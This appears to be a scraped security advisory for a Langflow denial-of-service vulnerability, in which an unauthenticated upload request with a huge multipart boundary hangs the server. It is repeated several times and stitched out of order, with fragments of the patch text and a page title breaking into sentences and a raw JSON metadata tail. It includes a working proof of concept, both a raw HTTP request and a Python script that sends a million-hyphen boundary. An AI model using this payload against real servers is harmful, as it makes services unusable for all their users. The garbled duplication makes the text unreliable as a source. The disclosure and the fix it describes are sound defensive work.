An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
`
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
### Summary
An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
### Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
### PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
```
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>
```
Here is the request in python:
```python
import requests
url = "http://127.0.0.1:7860/api/v1/files/upload/test"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
The app will then be stuck in the "server is busy" state for all users:
<img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05">
### Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.
### Patches
Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}
CVE-2026-55446: Langflow high vulnerability | Advisories
) and rejects malformed requests , including the oversized-hyphen payload , with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.
An attacker can send a /api/v1/files/upload/ request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
`
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
### Summary
An attacker can send a `/api/v1/files/upload/` request without any authentication token/cookies and abuse a very long multipart form boundary to make the langflow app unusable for all users for an indefinite amount of time.
### Details
https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40
The file upload function will try to process the multipart form data even if it is malformed and contains a payload such as an extremely large amount of hyphens after the boundary. It also does not do the authentication check before trying to process this data so an unauthenticated attacker can perform this as well as authenticated users.
Additionally, an attacker doesn't even need to know a valid UUID of a flow to send this request because the server will still try to process the large boundary even with any random value in place of the flow ID.
### PoC
An attacker makes this request to upload a file without valid authentication information or a valid flow ID:
```
POST /api/v1/files/upload/test HTTP/1.1
Host: 127.0.0.1:7860
Content-Length: 3000192
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryorGBAKSkv5wR6WqJ
Accept: application/json, text/plain, */*
Origin: http://127.0.0.1:7860
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryorGBAKSkv5wR6WqJ
Content-Disposition: form-data; name="file"; filename="dos.txt"
Content-Type: text/plain
DoS in progress!
------WebKitFormBoundaryorGBAKSkv5wR6WqJ------------<insert a large amount of hyphens such as 1,000,000>
```
Here is the request in python:
```python
import requests
url = "http://127.0.0.1:7860/api/v1/files/upload/test"
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ"
}
data = (
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"dos.txt\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"DoS in progress\r\n"
"-----------------------------WebKitFormBoundaryorGBAKSkv5wR6WqJ--" + '-' * 1000000 + "\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
The app will then be stuck in the "server is busy" state for all users:
<img width="733" alt="image" src="https://github.com/user-attachments/assets/227169d8-f1b7-4072-8c09-e416e4808d05">
### Impact
Sending this request will result in the server being unusable for all users for an infinite amount of time because the request can be repeated as much as you want.
### Patches
Fixed in **1.0.19** via PR [#3923](https://github.com/langflow-ai/langflow/pull/3923). A `check_boundary` HTTP middleware was added that validates the multipart boundary (`^[\w\-]{1,70}
CVE-2026-55446: Langflow high vulnerability | Advisories
) and rejects malformed requests , including the oversized-hyphen payload , with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.
) and rejects malformed requests , including the oversized-hyphen payload , with `HTTP 422` **before** the body is parsed. The upload endpoint also gained an authentication and flow-ownership check (`get_current_active_user` + `403` on mismatch), closing the unauthenticated access vector. Upgrade to **1.0.19 or later**.","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvssVersion":"3.1","severitySource":"github","cwes":["CWE-400"],"refs":["https://github.com/langflow-ai/langflow/security/advisories/GHSA-qwqc-p3q8-wcg9","https://github.com/langflow-ai/langflow/pull/3923","https://github.com/langflow-ai/langflow","https://github.com/langflow-ai/langflow/blob/v1.0.18/src/backend/base/langflow/api/v1/files.py#L40"],"affected":[{"product":"langflow","ecosystem":"PyPI","package":"langflow","introduced":"","fixed":"1.0.19","lastAffected":""}],"changes":[]},"related":[{"id":"GHSA-ccv6-r384-xp75","cve":"CVE-2026-55447","aliases":["CVE-2026-55447","PYSEC-2026-378"],"summary":"Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit","title":"Langflow: BaseFileComponent-based nodes arbitrary file read with RCE exploit","severity":"critical","score":9.6,"product":"langflow","productLabel":"","products":["langflow"],"fixed":"1.9.2","fixFirst":"1.9.2","fixedN":1,"published":"2026-06-19","modified":"2026-06-29","withdrawn":"","url":"https://github.com/advisories/GHSA-ccv6-r384-xp75","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-7hw8-6q6r-4276","cve":"CVE-2026-55423","aliases":["CVE-2026-55423","PYSEC-2026-222"],"summary":"Langflow: Logout button does not clear session","title":"Langflow: Logout button does not clear session","severity":"medium","score":6.1,"product":"langflow","productLabel":"","products":["langflow"],"fixed":"1.7.0","fixFirst":"1.7.0","fixedN":1,"published":"2026-06-19","modified":"2026-09-24","withdrawn":"","url":"https://github.com/advisories/GHSA-7hw8-6q6r-4276","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-qrpv-q767-xqq2","cve":"CVE-2026-55255","aliases":["CVE-2026-55255","PYSEC-2026-221"],"summary":"Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow","title":"Langflow: insecure direct object reference","severity":"high","score":8.4,"product":"langflow","productLabel":"","products":["langflow"],"fixed":"1.9.1","fixFirst":"1.9.1","fixedN":1,"published":"2026-06-19","modified":"2026-07-07","withdrawn":"","url":"https://github.com/advisories/GHSA-qrpv-q767-xqq2","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-x223-p2gf-v735","cve":"CVE-2026-55450","aliases":["CVE-2026-55450","PYSEC-2026-224"],"summary":"Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak","title":"Langflow: Unauthenticated file upload leads to DoS (space exhaustion) and information leak","severity":"critical","score":9.3,"product":"langflow","productLabel":"","products":["langflow"],"fixed":"1.9.1","fixFirst":"1.9.1","fixedN":1,"published":"2026-06-17","modified":"2026-06-26","withdrawn":"","url":"https://github.com/advisories/GHSA-x223-p2gf-v735","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-rcjh-r59h-gq37","cve":"CVE-2026-48520","aliases":["CVE-2026-48520","PYSEC-2026-244"],"summary":"Langflow: Unauthenticated Shareable Playground arbitrary local or S3 file read","title":"Langflow: Unauthenticated Shareable Playground arbitrary local or S3 file read","severity":"medium","score":6.1,"product":"langflow","productLabel":"","products":["langflow"],"fixed":"1.10.0","fixFirst":"1.10.0","fixedN":1,"published":"2026-06-16","modified":"2026-07-20","withdrawn":"","url":"https://github.com/advisories/GHSA-rcjh-r59h-gq37","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-v5ff-9q35-q26f","cve":"CVE-2026-48519","aliases":["CVE-2026-48519","PYSEC-2026-243"],"summary":"Langflow: Unauthenticated RCE in Shareable Playgrounds","title":"Langflow: Unauthenticated RCE in Shareable Playgrounds","severity":"critical","score":9.6,"product":"langflow","productLabel":"","products":["langflow"],"fixed":"1.9.2","fixFirst":"1.9.2","fixedN":1,"published":"2026-06-16","modified":"2026-07-20","withdrawn":"","url":"https://github.com/advisories/GHSA-v5ff-9q35-q26f","foundAt":"2026-09-24 23:00:21"}]}}